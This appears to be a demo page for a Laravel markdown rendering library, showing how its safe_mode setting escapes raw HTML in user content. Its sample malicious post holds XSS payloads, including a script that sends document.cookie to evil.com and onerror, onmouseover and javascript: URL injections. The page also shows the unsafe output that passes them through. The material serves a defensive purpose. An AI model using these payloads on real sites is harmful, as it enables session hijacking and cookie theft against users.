Safe Mode Demo

Safe mode escapes raw HTML tags in user input, preventing script injection attacks.

Protects against: <script>, <img onerror>, <div onmouseover>, and other HTML injection.

Malicious Input

# User Post

Normal content here.

```=html
<script>document.location='https://evil.com/?cookie='+document.cookie</script>
<img src="x" onerror="alert('XSS')">
<div onmouseover="alert('XSS')">Hover me</div>
```

[Click me](javascript:alert('XSS'))

![unsafe candidates](safe.png){srcset="safe.png 1x, javascript:alert(1) 2x"}

More normal content.

UNSAFE trusted Profile

'safe_mode' => false

Warning: Raw HTML passes through!

Raw HTML Output:

<section id="User-Post">
  <h1>User Post</h1>
  <p>Normal content here.</p>
  <script>document.location='https://evil.com/?cookie='+document.cookie</script>
<img src="x" onerror="alert('XSS')">
<div onmouseover="alert('XSS')">Hover me</div>
  <p><a href="">Click me</a></p>
  <img src="safe.png" alt="unsafe candidates" srcset="">
  <p>More normal content.</p>
</section>

SAFE user_content Profile

'safe_mode' => true

Protected: HTML is escaped, scripts neutralized.

Rendered Output:

User Post

Normal content here.

Click me

Configuration

// config/carve.php
return [
    'converters' => [
        'trusted' => [
            'safe_mode' => false, // For trusted content (admin, CMS)
        ],
        'user_content' => [
            'safe_mode' => true,  // For user-submitted content
        ],
    ],
];

Usage in Blade


{!! Carve::toHtml($article->body, 'trusted') !!}


{!! Carve::toHtml($comment->body, 'user_content') !!}

Usage in Services

use MarkupCarve\LaravelCarve\Service\CarveManager;

public function render(CarveManager $carve, string $content): string
{
    return $carve->toHtml($content, 'user_content');
}